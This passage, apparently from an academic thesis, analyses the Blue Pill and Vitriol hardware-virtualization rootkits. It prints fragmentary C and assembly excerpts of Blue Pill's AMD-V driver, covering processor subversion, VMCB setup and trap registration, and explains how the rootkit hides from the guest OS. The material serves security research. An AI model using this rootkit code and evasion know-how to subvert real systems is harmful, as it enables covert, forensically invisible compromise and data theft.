The working prototype was implemented on Window Vista x64, but can be ported 
to other x86/x64 OSs such as Linux or BSD as well. 
First presented and demonstrated by its designer Joanna Rutkowska at 
Black Hat 2006, Blue Pill possesses many advantages from an exploitation 
perspective. Since it makes maximum use of hardware VM technology vice 
software VM technology, it is engineered as an ultra-thin hypervisor which does 
not need any BIOS, boot sector, or persistent storage modifications. It creates its 
own private page tables which are not visible to the target OS, as well as clone 
portions of page tables from the target OS [39]. Its small code base allows it to 
remain dormant without consuming noticeable CPU or memory resources. This 
characteristic also allows it to lie and wait for predetermined or interesting events 
to occur without impacting the performance of the newly subverted guest OS 
itself. Once an event of interest occurs, it can be captured and sent to a network 
interface to be exfiltrated off the system without the subverted guest OS or its 
anti-malware software having any visibility into the actions taking place. Since 
Blue Pill is never installed or written onto a system’s hard drive, it is not 
persistent upon reboot. After a system is rebooted the previously subverted OS 
loads in its normal mode without any forensics trail to be captured after the 
subversion has taken place. At this point, if Blue Pill has been resident on a 
system long enough, then there can be a significant amount of data that is 
exfiltrated without any way for the owner to ascertain the extent of the 
exploitation, or even if any exploitation has occurred in the first place.  
3. Vitriol 
The Matasano Security Lab’s Vitriol HVM rootkit project was very similar 
to the Blue Pill project but exploited Intel vice AMD x86 virtualization technology. 
The design effort was led by Dino Dai Zovi and was also demonstrated at Black 
Hat 2006. Vitriol was a proof of concept HVM rootkit targeting Mac OS X running 
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on an Intel VT-x CPU. Vitriol utilizes OS X’s loadable kernel extensions to install 
and execute its rootkit capability. It then uses VT-x to create a VM and migrate 
the OS X kernel into a newly created guest VM [40]. Like Blue Pill, it also is never 
installed or written onto a system’s hard drive, and is therefore not persistent 
upon reboot and offers no forensics trail to be captured after the subversion has 
taken place.  
F. THREATS POSED BY HVM ROOTKITS 
An HVM rootkit executing beneath the OS kernel could potentially perform 
the following functions covertly and without impact to any processes running 
within a Virtual Machine, OS kernel or user space: 
1. Unrestricted access to all memory regardless of use 
2. Unrestricted access to I/O devices 
3. Covert inspection of all I/O conducted by VMs 
4. Covert introspection of VM processes 
5. Manipulation of system state without leaving significant forensic trails  
6. General covert operation in the performance of most tasks 
7. Non-persistence following reboot 
Specialized HVM rootkits will most certainly exploit the abilities listed 
above for malicious purposes and be able to operate with a degree of 
obfuscation that other kernel and user process do not possess. Additionally, a 
subverted virtual environment or VMM could in effect grant an adversary “super” 
privileges that are effectively higher than ring 0 due to the fact that they would be 
in control of the entire physical environment. Such a high level of privilege is 
therefore commonly referred to as ring -0 or ring -1 to signify a privileged 
execution mode below ring 0. 
As discussed in Section D and shown in Figure 5, an HVM rootkit is 
significantly more difficult to detect and remove than other types of rootkits. 
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Conventional malware detection and removal tools would be ineffective against 
such threats [38]. Claims by Rutkowska that Blue Pill is undetectable either 
during or after its exploitation phase have been contested with mixed results. 
There has been significant research into proving both sides of this claim, but this 
thesis will not focus on the question of HVM rootkit detectability. It is sufficient to 
state that Blue Pill and Vitriol (or any other HVM rootkit) presence is extremely 
difficult to detect even through very specialized methods. 
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IV. AN ANALYSIS OF HVM ROOTKITS 
A. ANATOMY OF AN HVM ROOTKIT SUBVERSION 
In principle, an HVM rootkit attack is simple: a hardware based VMM (the 
HVM rootkit) is placed between the kernel of a running OS and the physical 
hardware of the machine. In reality, this maneuver requires a complex and 
carefully orchestrated series of actions which does not disturb the running OS 
and utilizes either Intel VT-x or AMD-V hardware virtualization extensions.  
The terms “fork”, “migration” and “shim” have all been used to describe the 
process of subverting a running OS in real time, on the fly, and moving the target 
OS into a guest state within a VM without interrupting execution and with full 
transparency on the part of the user. This is a terminology standardization issue, 
but has no real impact on the outcome of this thesis research. For the purposes 
of this thesis, these terms are interchangeable. Conceptually, a “shim” is 
probably the best graphical depiction of the action performed by an HVM rootkit 
because it inserts itself between the running OS and the hardware of the 
processor (Figure 6). Technically, “migration” is probably the most accurate term 
since a “fork” operation within the context of an OS means that a process creates 
a copy of itself, which is not what occurs in the case of an HVM rootkit—no copy 
is produced, only a change of privilege accompanied by a change in state. 
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Myers proposes 10 steps to describe the successful execution of an HVM 
rootkit [41]. For the purposes of analysis, these steps have been revised slightly 
in order to abstract their function and group them into three phases according to 
the overall effect that they produce. The Infiltration Phase is required to gain the 
appropriate level of privilege on the target system to be able to begin the next 
phase. Infiltration is not specifically part of the focus or scope of this thesis as 
there are numerous documented rootkit methods to gain root level access on any 
given OS and install code for various purposes. The Initialization Phase sets up 
the parameters and preconditions necessary for the subversion itself to take 
place. The distinction between the initialization phase and the actual subversion 
is that actions are taking place at ring 0 within the kernel mode of the target OS. 
The final Subversion Phase encompasses all activity which occurs below that of 
the target OS kernel, and therefore at an effective privilege level of ring -0. 
Infiltration Phase (Conducted by a conventional rootkit or other vector) 
 Gain root level access on the target system 
 Load a hardware level driver which will set up a VMM (the HVM 
rootkit) 
Initialization Phase (Actions conducted by the hardware level driver) 
 Allocate resources for HVM rootkit hypervisor code and load it into 
memory 
 Allocate resources and set up the VMCS / VMCB  
 Initialize the VMCS / VMCB with current state of target OS 
 Turn on the flag enabling hardware assisted virtualization 
 Transfer execution to the HVM rootkit hypervisor 
Subversion Phase (Actions conducted by the HVM rootkit hypervisor) 
 Shift the target OS to VM guest mode 
 Unload the hardware level driver 
 Begin conducting activity the HVM rootkit designer intended 
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Intel VT-x and AMD-V require slightly different implementations and 
techniques to execute these actions, but the overall concept and end result is the 
same.  
B. BLUE PILL SOURCE CODE 
Blue Pill source code was first made available by Invisible Things Lab (the 
company founded by Blue Pill creator Joanna Rutkowska) for use in training 
participants at the 2007 Black Hat Conference, the year following Blue Pill’s initial 
announcement by Rutkowska at the same conference. The source code was 
made available to the public following Black Hat 2007 by download [42]. The 
version that is examined in this thesis is revision 329 which includes code for 
implementation on both AMD-V and Intel VT-x platforms (Intel VT-x capability 
was added after the initial public release). This functionality on both AMD-V and 
Intel VT-x makes this version particularly useful to the thesis objective: to 
determine what common aspects of the respective AMD and Intel attack 
methodologies can be generalized and applied to a wider scope of x86 based 
systems. Having both Blue Pill versions available to examine side by side 
provides for a more direct comparison. 
The Blue Pill source code is separated and grouped by function into 
folders as follows: 
../common/ Common C source code for both HVM rootkits 
../svm/ C source code for the AMD-V HVM rootkit 
../vmx/ C source code for the Intel VT-x HVM rootkit 
../amd64/ Assembly source code for the AMD-V HVM rootkit 
../i386/ Assembly source code for the Intel VT-x HVM rootkit 
The source code folders include the makefiles to compile the Blue Pill 
executable. The include statements in the makefiles determine which source and 
assembly code is used to compile and produce the executable code for either the 
AMD-V or Intel VT-x platform.  
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 After compiling the Blue Pill source code, the result is a Windows .sys 
driver image package with both driver and install files: 
 ..\bin\i386\newbp.sys 
Once root level access is gained on the target OS, this is the only required 
component to implement a Blue Pill subversion of the target system. This file 
does not have to be resident in the target system’s permanent memory to be 
executed, and in fact it should not be resident in order to avert detection and 
avoid leaving a potential forensics trail. 
It is useful to note that Blue Pill is purposely designed to support nested 
VMs, and therefore nested instances of itself. The reason for this is mainly to 
prevent detectability, but it demonstrates that the resulting guest OS VM does 
maintain direct access to hardware. Blue Pill does not emulate any hardware 
functions, except where necessary in the case of guest OS register query replies 
to avoid detection. In both the AMD-V and Intel VT-x implementations, 
instructions that are needed to instantiate a nested Blue Pill hypervisor are 
intentionally trapped, but those instructions can then be allowed to pass to the 
processor for execution if desired [37]. This nested VM capability is outside of the 
scope of this thesis, but it does present interesting and useful areas for future 
research which will be covered in the last chapter.  
The following two sections of this chapter will provide a high level analysis 
of each version of Blue Pill. In total, there are approximately 22,000 lines of 
source code written in both C and Assembly Language contained in 55 files 
covering both AMD and Intel platforms. Regardless of platform, Blue Pill requires 
roughly 14,000 lines of source code to compile and produce a fully functioning 
executable rootkit. Most of this code is overhead for installing and setting up the 
Blue Pill hypervisor, so the resulting hypervisor itself is significantly smaller. The 
analysis in this thesis will not be an exhaustive effort covering every line of code, 
but rather it will cover the code segments responsible for executing the major 
muscle movements required to prepare, initialize, install and run the Blue Pill 
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hypervisor itself and execute the migration of the target OS into a guest VM 
under Blue Pill’s control. 
C. BLUE PILL ANALYSIS ON THE AMD-V PLATFORM 
As Figure 7 depicts, the basic functionality of an AMD-V hypervisor is a 
continuous loop between VMRUN and exit code processing. This is done with 
Blue Pill when the hypervisor initiates a guest VM by executing the VMRUN 
instruction and continues until an enabled #VMEXIT condition is trapped (Figure 
8). At this point execution control returns to the hypervisor at the next instruction 
following VMRUN [37], [41]. 
 




Figure 8.  Blue Pill trapped condition interception, from [37] 
1. Infiltration Phase 
The Infiltration Phase is conducted by taking advantage of a conventional 
root exploit, vulnerability or other vector to gain ring 0, or root level, access to the 
OS kernel. Blue Pill was first implemented on Windows Vista 64 using the Vista 
swap bug to bypass the driver signing requirement in Vista [37]. This vulnerability 
no longer exists; however, Blue Pill is not dependent on this particular exploit for 
implementation. 
a. Gain Root Level Access on the Target System 
Any vector which can be exploited to gain root level access to install the 
hardware level driver is all that is needed to accomplish this step. The Blue Pill 
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source code can easily be modified to take advantage of any conventional root 
exploit since it is unrelated to the actual installation and execution of the HVM 
rootkit itself. This thesis assumes that root level access has already been 
obtained on the target OS; therefore, this step in the Blue Pill exploitation chain is 
outside the scope of this thesis and will not be examined further. Suffice it to say 
that there are many vectors for this first step to occur. 
b. Load the Hardware Level Driver 
Following root level access attainment and beginning newbp.sys install 
process from the command line, the first action which must be determined is 
whether the CPU is virtualizable under either AMD-V or Intel VT-x. At this point 
there is no distinction made between the two technologies. This is accomplished 
via a structure named HVM_DEPENDENT in the common.h file (Figure 9) which 
includes several function pointers to perform various tasks including determining 
whether there is already hardware virtualization taking place (in which case Blue 
Pill exploitation may not be possible). 
 
Figure 9.  HVM_DEPENDENT Structure (../common/common.h) 
typedef struct 
{ 
 UCHAR Architecture; 
 
 ARCH_IS_HVM_IMPLEMENTED ArchIsHvmImplemented; 
 
 ARCH_INITIALIZE ArchInitialize; 
 ARCH_VIRTUALIZE ArchVirtualize; 
 ARCH_SHUTDOWN ArchShutdown; 
 
 ARCH_IS_NESTED_EVENT ArchIsNestedEvent; 
 ARCH_DISPATCH_NESTED_EVENT ArchDispatchNestedEvent; 
 ARCH_DISPATCH_EVENT ArchDispatchEvent; 
 ARCH_ADJUST_RIP ArchAdjustRip; 
 ARCH_REGISTER_TRAPS ArchRegisterTraps; 
 ARCH_IS_TRAP_VALID ArchIsTrapValid; 
} HVM_DEPENDENT, 
 38
These function pointers provide several important benefits to the overall 
operation of Blue Pill. First, they are used to abstract out more specific platform 
functionality within the common code files. These function pointers are all used 
within hvm.c which contains the bulk of the code to handle actions which are not 
specific to either AMD-V (svm.c and related files) or Intel VT-x (vmx.c and related 
files). Second, they are used within hvm.c to easily control the order and flow of 
execution of the rootkit actions. Third, they provide an effective method for hvm.c 
to be able to link to the required platform specific code segments in svm.c (and 
vmx.c for the Intel VT-x implementation) without having to rewrite the source 
code. 
ArchIsHvmImplemented is used twice to determine the status of 
virtualization, once each by functions HvmSubvertCpu and HvmInit, both of 
which are called from within hvm.c. In each function’s case, a value of 
STATUS_SUCCESS is returned if hardware virtualization is present (either AMD-
V or VT-x), and a value of STATUS_NOT_SUPPORTED is returned if neither is 
present [28]. CPUID is the instruction used to determine this data point and does 
not require elevated privileges to execute [26]. 
If virtualization is determined to be present and suitable for Blue Pill 
implementation, then the rest of the code in newbp.c is executed. In order for this 
process to be successful, code must be running as a kernel-mode driver [39]. 
DriverEntry (Figure 10) is the Windows routine called after the driver code is 
loaded into memory and this routine is responsible for initializing the driver within 
the Windows OS to run within the kernel’s privilege level of ring 0. The 
DriverObject parameter supplies the DriverEntry routine with a pointer to the 




Figure 10.  DriverEntry (../common/newbp.c) 
Provisions are also set up within newbp.c to unload the driver after the 
subversion phase is later completed. This involves calling the Windows 
unloading routine DriverUnload for the DriverObject that was established to 
instantiate the hardware level driver [28] (Figure 10). This will later be called in 
the HvmSpitOutBluePill function to unload the hardware level driver, shutdown 
the Blue Pill hypervisor and return the system to its original state.  
The last major action to take place within newbp.c is to hand over 
execution to HvmSwallowBluePill in hvm.c (Figure 11).  As it will be seen 
throughout this analysis, much of the initialization flow is controlled by code in 
hvm.c making use of the HVM_DEPENDENT structure to call various functions 
within svm.c.  
NTSTATUS DriverEntry ( 
 PDRIVER_OBJECT DriverObject, 




 if (!NT_SUCCESS (Status = HvmInit ())) { 
  _KdPrint (("NEWBLUEPILL: HvmInit() failed with status 0x%08hX\n", 
Status)); 
#ifdef USE_LOCAL_DBGPRINTS 
  DbgUnregisterWindow (); 
#endif 
  MmShutdownManager (); 
  return Status; 
 } 
 if (!NT_SUCCESS (Status = HvmSwallowBluepill ())) { 
  _KdPrint (("NEWBLUEPILL: HvmSwallowBluepill() failed with status 
0x%08hX\n", Status)); 
#ifdef USE_LOCAL_DBGPRINTS 
  DbgUnregisterWindow (); 
#endif 
  MmShutdownManager (); 
  return Status; 
 } 
#ifndef RUN_BY_SHELLCODE 






Figure 11.  HvmSwallowBluePill (../common/hvm.c) 
2. Initialization Phase 
Actions conducted in the Initialization Phase are accomplished by the 
hardware level driver, which was installed by the conventional rootkit exploit in 
the Infiltration Phase. 
 
Called by DriverEntry in newbp.c 
 
NTSTATUS NTAPI HvmSwallowBluepill ( 
) 
{ 
 CCHAR cProcessorNumber; 
 NTSTATUS Status, CallbackStatus; 
 
 _KdPrint (("HvmSwallowBluepill(): Going to subvert %d 
processor%s\n", 
       KeNumberProcessors, KeNumberProcessors == 1 ? "" : "s")); 
 
 KeWaitForSingleObject (&g_HvmMutex, Executive, KernelMode, FALSE, 
NULL); 
 
 for (cProcessorNumber = 0; cProcessorNumber < KeNumberProcessors; 
cProcessorNumber++) { 
 
  _KdPrint (("HvmSwallowBluepill(): Subverting processor #%d\n", 
cProcessorNumber)); 
 
  Status = CmDeliverToProcessor (cProcessorNumber, CmSubvert, NULL, 
&CallbackStatus); 
 
  if (!NT_SUCCESS (Status)) { 
   _KdPrint (("HvmSwallowBluepill(): CmDeliverToProcessor() failed 
with status 0x%08hX\n", Status)); 
   KeReleaseMutex (&g_HvmMutex, FALSE); 
 
   HvmSpitOutBluepill (); 
 
   return Status; 
  } 
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a. Allocate Resources for HVM Rootkit Hypervisor Code and 
Load it into Memory 
Hardware virtualization on both AMD-V and Intel VT-x capable platforms 
make use of multiple cores, where each core is a discrete processor and capable 
of hardware virtualization. Due to this characteristic, Blue Pill code must be 
initialized on each processor [28].  
HvmSwallowBluepill calls CmDeliverToProcessor which executes the 
assembly language setup routine CmSubvert (Figure 12) to each physical 
processor core. After performing required register manipulations, CmSubvert 
returns control to the HvmSubvertCpu function in hvm.c to continue with 
individual processor HVM rootkit installation (Figure 13). ArchIsHvmImplemented 
is used again to make sure that the virtualization hardware is available. It is not 
clear why this action is needed a second time, but it may be needed within the 
context of the hvm.c code segment’s execution and also due to the fact that the 
rootkit is now executing as a hardware level driver, whereas in the first instance it 
was not. (A similar action to verify processor capability is executed next by 
SvmIsImplemented within the svm.c code segment, although it uses CPUID 
instruction via the GetCpuIdInfo function rather than the HvmInit function to 
perform the check.) This CPU query is done via the same HvmInit function above 
and if it returns STATUS_SUCCESS, the HVM rootkit process will begin the 
steps to install the Blue Pill hypervisor. 
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Figure 12.  CmSubvert (../amd64/common-asm.asm) 
 HvmSubvertCpu is responsible for configuring several prerequisites  
for the Blue Pill hypervisor on each physical processor (Figure 13). GdtArea  
and IdtArea use MmAllocatePages to allocate memory for the Global  
Descriptor Table (GDT) and Interrupt Descriptor Table (IDT).  HvmSubvertCpu 
must be executed on each processor which is identified by the function 
KeGetCurrentProcessorNumber.  
The GDT defines access privileges for various segments of physical 
memory. It defines the characteristics of these segments used during program 
execution, including the base address, the size and unique access privileges. In 
order to reference a particular memory segment, a program must use the 
segment’s selector stored in the GDT. 
 
 




 push rax 
 push rcx 
 push rdx 
 push rbx 
 push rbp 
 push rsi 
 push rdi 
 push r8 
 push r9 
 push r10 
 push r11 
 push r12 
 push r13 
 push r14 
 push r15 
 sub rsp, 28h 
 mov rcx, rsp 




The IDT defines the set of exceptions that a processor must act upon. To 
do this it implements an interrupt vector table which is used by its associated 
processor to determine the required actions in response to various identified 
interrupts and exceptions. 
HostKernelStackBase uses MmAllocatePages to allocate memory for the 
kernel stack which returns the base memory address for the kernel stack. The 
kernel stack size is limited to approximately three pages on the x86 architecture 
[44]. 
A kernel stack is used to save information about system calls and 
interrupts for every active thread that is executing in kernel space. In addition to 
the per thread kernel stacks, there are also specialized kernel stacks associated 
with each physical processor as well [44]. Since the Blue Pill hypervisor is itself a 
small scale kernel, the kernel stacks assist the Blue Pill hypervisor in processing 





Figure 13.  HvmSubvertCpu (../common/hvm.c) 
Called by CmSubvert in common-asm.asm 
 
NTSTATUS NTAPI HvmSubvertCpu ( 
 PVOID GuestRsp 
){ 
 PCPU Cpu; 
 PVOID HostKernelStackBase; 
 NTSTATUS Status; 
 PHYSICAL_ADDRESS HostStackPA; 
 
 _KdPrint (("HvmSubvertCpu(): Running on processor #%d\n", 
KeGetCurrentProcessorNumber ())); 
 
 if (!Hvm->ArchIsHvmImplemented ()) { 
  _KdPrint (("HvmSubvertCpu(): HVM extensions not implemented on this 
processor\n")); 
  return STATUS_NOT_SUPPORTED; 
 } 
 HostKernelStackBase = MmAllocatePages (HOST_STACK_SIZE_IN_PAGES, 
&HostStackPA); 
 if (!HostKernelStackBase) { 
  _KdPrint (("HvmSubvertCpu(): Failed to allocate %d pages for the 
host stack\n", HOST_STACK_SIZE_IN_PAGES)); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 Cpu = (PCPU) ((PCHAR) HostKernelStackBase + HOST_STACK_SIZE_IN_PAGES 
* PAGE_SIZE - 8 - sizeof (CPU)); 
 Cpu->HostStack = HostKernelStackBase; 
 // for interrupt handlers which will address CPU through the FS 
 Cpu->SelfPointer = Cpu; 
 Cpu->ProcessorNumber = KeGetCurrentProcessorNumber (); 
 Cpu->Nested = FALSE; 
 InitializeListHead (&Cpu->GeneralTrapsList); 
 InitializeListHead (&Cpu->MsrTrapsList); 
 InitializeListHead (&Cpu->IoTrapsList); 
 Cpu->GdtArea = MmAllocatePages (BYTES_TO_PAGES (BP_GDT_LIMIT), 
NULL); 
 
 if (!Cpu->GdtArea) { 
  _KdPrint (("HvmSubvertCpu(): Failed to allocate memory for 
GDT\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 Cpu->IdtArea = MmAllocatePages (BYTES_TO_PAGES (BP_IDT_LIMIT), 
NULL); 
 if (!Cpu->IdtArea) { 
  _KdPrint (("HvmSubvertCpu(): Failed to allocate memory for 
IDT\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
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Kernel stacks are only used while the kernel is actually in control of the 
corresponding processor, and when the processor returns control to user mode 
the kernel stacks contain no data. In the context of Blue Pill execution, these 
kernel stacks will only be used when the Blue Pill hypervisor has acted on an trap 
condition from the guest OS and performed a context shift to seize hardware 
level control (ring -0 mode) of the system. Upon completion of trap handling and 
return of control back to the guest OS, these kernel stacks will be cleared and left 
unused until the next trap condition triggers another context switch back to the 
Blue Pill hypervisor. 
The GDT, IDT and kernel stacks must work concurrently with the VMCB 
for the successful operation of the hypervisor and correct handling of trap 
conditions.  
 SvmIsImplemented (Figure 14) includes several calls of the GetCpuIdInfo 
function which uses the CPUID assembly instructions in cpuid.asm. The first 
instance of GetCpuIdInfo checks to ensure that the processor is equipped with 
the AMD-V extended CPUID instructions, and if not it returns FALSE. The 
second and third instances of GetCpuIdInfo check to ensure that the second byte 
of the ECX register is set correctly (see Appendix A) in order to be able to use 
the AMD-V virtualization extensions, and if not it again returns FALSE [26], [28].  
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Figure 14.  SvmIsImplemented (../svm/svm.c) 
b. Set up the VMCB  
The ArchInitialize function pointer in hvm.c indirectly calls SvmInitialize in 
svm.c (Figure 15). As discussed above, virtualization must be set up on each 
physical processor individually and therefore VMCBs are specific to each core 
and are not shared [41]. 
Called by Hvm->ArchIsHvmImplemented function pointer in hvm.c 
 
static BOOLEAN NTAPI SvmIsImplemented ( 
) 
{ 
 ULONG32 eax, ebx, ecx, edx; 
 
 GetCpuIdInfo (0, &eax, &ebx, &ecx, &edx); 
 if (eax < 1) { 
  _KdPrint (("SvmIsImplemented(): Extended CPUID functions not 
implemented\n")); 
  return FALSE; 
 } 
 if (!(ebx == 0x68747541 && ecx == 0x444d4163 && edx == 0x69746e65)) 
{ 
  _KdPrint (("SvmIsImplemented(): Not an AMD processor\n")); 
  return FALSE; 
 } 
 
 GetCpuIdInfo (0x80000000, &eax, &ebx, &ecx, &edx); 
 if (eax < 0x80000001) { 
  _KdPrint (("SvmIsImplemented(): Extended CPUID functions not 
implemented\n")); 
  return FALSE; 
 } 
 if (!(ebx == 0x68747541 && ecx == 0x444d4163 && edx == 0x69746e65)) 
{ 
  _KdPrint (("SvmIsImplemented(): Not an AMD processor\n")); 
  return FALSE; 
 } 
 
 GetCpuIdInfo (0x80000001, &eax, &ebx, &ecx, &edx); 
 




Figure 15.  SvmInitialize (../svm/svm.c) 
  
 
Called by Hvm->ArchInitialize function pointer in hvm.c 
 
static NTSTATUS NTAPI SvmInitialize ( 
 PCPU Cpu, 
 PVOID GuestRip, 
 PVOID GuestRsp 
){ 
 PHYSICAL_ADDRESS AlignedVmcbPA; 
 ULONG64 VaDelta; 
 NTSTATUS Status; 
 ULONG32 eax, ebx, ecx, edx; 
 BOOLEAN bAlreadyEnabled; 
 SvmCheckErratums (Cpu); 
 GetCpuIdInfo (0x8000000a, &eax, &ebx, &ecx, &edx); 
 Cpu->Svm.AsidMaxNo = ebx - 1; 
 _KdPrint (("SvmInitialize: AsidMaxNo = %d\n", Cpu->Svm.AsidMaxNo)); 
 // do not deallocate anything here; MmShutdownManager will take care of that 
 Cpu->Svm.Hsa = MmAllocateContiguousPages (SVM_HSA_SIZE_IN_PAGES, &Cpu-
>Svm.HsaPA); 
 if (!Cpu->Svm.Hsa) { 
  _KdPrint (("SvmInitialize(): Failed to allocate memory for HSA\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 _KdPrint (("SvmInitialize(): Hsa VA: 0x%p\n", Cpu->Svm.Hsa)); 
 _KdPrint (("SvmInitialize(): Hsa PA: 0x%X\n", Cpu->Svm.HsaPA.QuadPart)); 
 Cpu->Svm.OriginalVmcb = 
  MmAllocateContiguousPagesSpecifyCache (SVM_VMCB_SIZE_IN_PAGES, &Cpu-
>Svm.OriginalVmcbPA, MmCached); 
 if (!Cpu->Svm.OriginalVmcb) { 
  _KdPrint (("SvmInitialize(): Failed to allocate memory for original 
VMCB\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 _KdPrint (("SvmInitialize(): Vmcb VA: 0x%p\n", Cpu->Svm.OriginalVmcb)); 
 _KdPrint (("SvmInitialize(): Vmcb PA: 0x%X\n", Cpu-
>Svm.OriginalVmcbPA.QuadPart)); 
 Cpu->Svm.GuestVmcb = MmAllocateContiguousPagesSpecifyCache 
(SVM_VMCB_SIZE_IN_PAGES, NULL, MmCached); 
 if (!Cpu->Svm.GuestVmcb) { 
  _KdPrint (("SvmInitialize(): Failed to allocate memory for GuestVmcb\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 _KdPrint (("SvmInitialize(): GuestVmcb VA: 0x%p\n", Cpu->Svm.GuestVmcb)); 
 Cpu->Svm.NestedVmcb = 
  MmAllocateContiguousPagesSpecifyCache (SVM_VMCB_SIZE_IN_PAGES, &Cpu-
>Svm.NestedVmcbPA, MmCached); 
 if (!Cpu->Svm.NestedVmcb) { 
  _KdPrint (("SvmInitialize(): Failed to allocate memory for nested 
VMCB\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
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Each VMCB must also be allocated in a continuous non-paged 4 kilobyte 
block of physical memory [26]. The first area is a 1024 byte control area which 
contains various control bits including the intercept enable mask which specifies 
which exit conditions the hypervisor will trap, and the second area is a 2564 byte 
guest state area which saves the current state of the guest OS during control 
shifts between the hypervisor and the guest OS itself [41].  
The original state of the OS is saved in a separate VCMB named 
OriginalVmcb which is later used to restore the target OS to its original state 
when exiting and unloading Blue Pill. 
 The ArchRegisterTraps function pointer in hvm.c indirectly calls 
SvmRegisterTraps in svmtraps.c (Figure 16). SvmRegisterTraps sets up the trap 
conditions that Blue Pill will intercept and handle while it is in control of the 
system.  
The trap function is of particular importance in an HVM rootkit because it 
defines the set of enabled exception conditions in the VMCB and the method for 
handling the #VMEXIT conditions. Although many operations can be trapped by 
a hypervisor, the only one that an AMD-V hypervisor absolutely must trap by 
design is the VMRUN instruction [26], [41]. Whenever an exit condition causes 
execution to transfer back to the hypervisor, the corresponding exit code is 
stored in the EXITCODE field in the control area of the VMCB [26]. 
Since Blue Pill is a proof of concept implementation it is not critical for it to 
trap any instruction or event not specifically required for the successful execution 
of the guest VM, but if Blue Pill were to be weaponized with malware there would 
need to be defined a larger scope of exceptions based on the intended 
exploitation of the new HVM rootkit.  
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Figure 16.  SvmRegisterTraps (../svm/svmtraps.c) 
  SvmRegisterTraps causes Blue Pill to trap and handle the following 
specific exceptions [28]: 
 (as shown in Figure 16) 
 Instructions: VMRUN, VMLOAD, VMSAVE 
 (not shown in Figure 16 but specified elsewhere in svmtraps.c) 
 Model Specific Registers (MSPs): EFER.SVME, VM_HSAVE_PA, TSC 
 Instructions: CLGI, STGI, CPUID, RDTSC, RDTSCP 
Called by Hvm->ArchRegisterTraps function pointer in hvm.c 
 
NTSTATUS NTAPI SvmRegisterTraps ( 
 PCPU Cpu 
) 
{ 
 NTSTATUS Status; 
 PNBP_TRAP Trap; 
 
 if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, 
VMEXIT_VMRUN, 3,   // length of the VMRUN instruction 
                           SvmDispatchVmrun, &Trap))) { 
  _KdPrint (("SvmRegisterTraps(): Failed to register SvmDispatchVmrun 
with status 0x%08hX\n", Status)); 
  return Status; 
 } 
 TrRegisterTrap (Cpu, Trap); 
 
 if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, 
VMEXIT_VMLOAD, 3,   // length of the VMRUN instruction 
                           SvmDispatchVmload, &Trap))) { 
  _KdPrint (("SvmRegisterTraps(): Failed to register 
SvmDispatchVmload with status 0x%08hX\n", Status)); 
  return Status; 
 } 
 TrRegisterTrap (Cpu, Trap); 
 
 if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, 
VMEXIT_VMSAVE, 3,   // length of the VMRUN instruction 
                           SvmDispatchVmsave, &Trap))) { 
  _KdPrint (("SvmRegisterTraps(): Failed to register 
SvmDispatchVmsave with status 0x%08hX\n", Status)); 
  return Status; 
 } 
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This set of exit handling conditions is significantly larger than the minimal require 
exit conditions specified in [26]. This is to avoid detectability in the initial proof of 
concept. The Blue Pill hypervisor must prevent the guest from detecting that it is 
operating within a VM and therefore Blue Pill must intercept these exceptions 
and provide suitable false responses to the target OS [45]. 
The SvmSetupControlArea routine within svm.c initializes the 1024 byte 
control area within the VMCB (Figure 17). 
 
Figure 17.  SvmSetupControlArea (../svm/svm.c) 
c. Initialize the VMCB with Current State of Target OS 
 The SvmInitGuestState routine initializes the VMCB guest state area with 
the current state of the guest OS. This includes initializing the previously 
allocated GDT and IDT, the CR and DR registers, and the current pointer and 
stack pointer [28] (Figures 18 and 19). 
 
Called by SvmInitialize in svm.c 
 
static NTSTATUS SvmSetupControlArea ( 
 PCPU Cpu 
) 
{ 
 PVOID MsrPm, NestedMsrPm; 
 PHYSICAL_ADDRESS MsrPmPA, NestedMsrPmPA; 
 PVMCB Vmcb; 
 NTSTATUS Status; 
 ULONG32 eax, ebx, ecx, edx; 
 
 if (!Cpu || !Cpu->Svm.OriginalVmcb) 
  return STATUS_INVALID_PARAMETER; 
 
 Vmcb = Cpu->Svm.OriginalVmcb; 
 
 MsrPm = MmAllocateContiguousPages (SVM_MSRPM_SIZE_IN_PAGES, 
&MsrPmPA); 
 if (!MsrPm) { 
  _KdPrint (("SvmSetupControlArea(): Failed to allocate memory for 
original MSRPM\n")); 




Figure 18.  SvmInitGuestState - Part 1 (../svm/svm.c) 
Called by SvmInitialize in svm.c 
 
NTSTATUS SvmInitGuestState ( 
 PCPU Cpu, 
 PVOID GuestRip, 
 PVOID GuestRsp 
) 
{ 
 USHORT Sel; 
 PVOID GuestGdtBase; 
 NTSTATUS Status; 
 PVMCB Vmcb; 
 
 if (!Cpu || !Cpu->Svm.OriginalVmcb || !Cpu-
>Svm.OriginalVmcbPA.QuadPart) 
  return STATUS_INVALID_PARAMETER; 
 
 SvmVmsave (Cpu->Svm.OriginalVmcbPA); 
 
 _KdPrint (("SvmInitGuestState(): GS_BASE: 0x%p\n", MsrRead 
(MSR_GS_BASE))); 
 _KdPrint (("SvmInitGuestState(): SHADOW_GS_BASE: 0x%p\n", MsrRead 
(MSR_SHADOW_GS_BASE))); 
 _KdPrint (("SvmInitGuestState(): KernGSBase: 0x%p\n", Cpu-
>Svm.OriginalVmcb->kerngsbase)); 
 _KdPrint (("SvmInitGuestState(): fs.base: 0x%p\n", Cpu-
>Svm.OriginalVmcb->fs.base)); 
 _KdPrint (("SvmInitGuestState(): gs.base: 0x%p\n", Cpu-
>Svm.OriginalVmcb->gs.base)); 
 
 Vmcb = Cpu->Svm.OriginalVmcb; 
 
 Vmcb->idtr.base = GetIdtBase (); 
 Vmcb->idtr.limit = GetIdtLimit (); 
 
 GuestGdtBase = (PVOID) GetGdtBase (); 
 Vmcb->gdtr.base = (ULONG64) GuestGdtBase; 
 Vmcb->gdtr.limit = GetGdtLimit (); 
 
 Vmcb->vintr.UCHARs = 0; 
 Vmcb->eventinj.UCHARs = 0; 
 
 MmCreateMapping (MmGetPhysicalAddress ((PVOID) Vmcb->gdtr.base), 
(PVOID) Vmcb->gdtr.base, FALSE); 
